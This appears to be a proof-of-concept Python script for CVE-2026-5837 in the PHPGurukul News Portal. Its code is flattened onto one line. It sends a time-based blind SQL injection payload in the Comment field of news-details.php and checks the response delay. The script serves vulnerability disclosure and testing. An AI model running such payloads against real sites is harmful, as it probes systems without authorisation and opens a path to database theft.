CVE-2026-5837 PHPGurukul新闻门户SQL注入漏洞

import requests def check_sqli_vulnerability(target_url): """ Proof of Concept for CVE-2026-5837 Tests the 'Comment' parameter in /news-details.php for SQL Injection. """ # The endpoint vulnerable to injection full_url = f"{target_url}/news-details.php" # Payload to test for time-based blind SQL injection # Adjust the news ID (nid) if necessary based on the application logic payload = { "nid": "1", "Comment": "test' AND SLEEP(5)-- -" } try: print(f"[*] Sending request to {full_url}...") response = requests.post(full_url, data=payload, timeout=10) # Check if the request took longer than usual due to SLEEP(5) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print("[+] This indicates that the 'Comment' parameter is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected or payload incorrect.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/phpgurukul-news" check_sqli_vulnerability(target)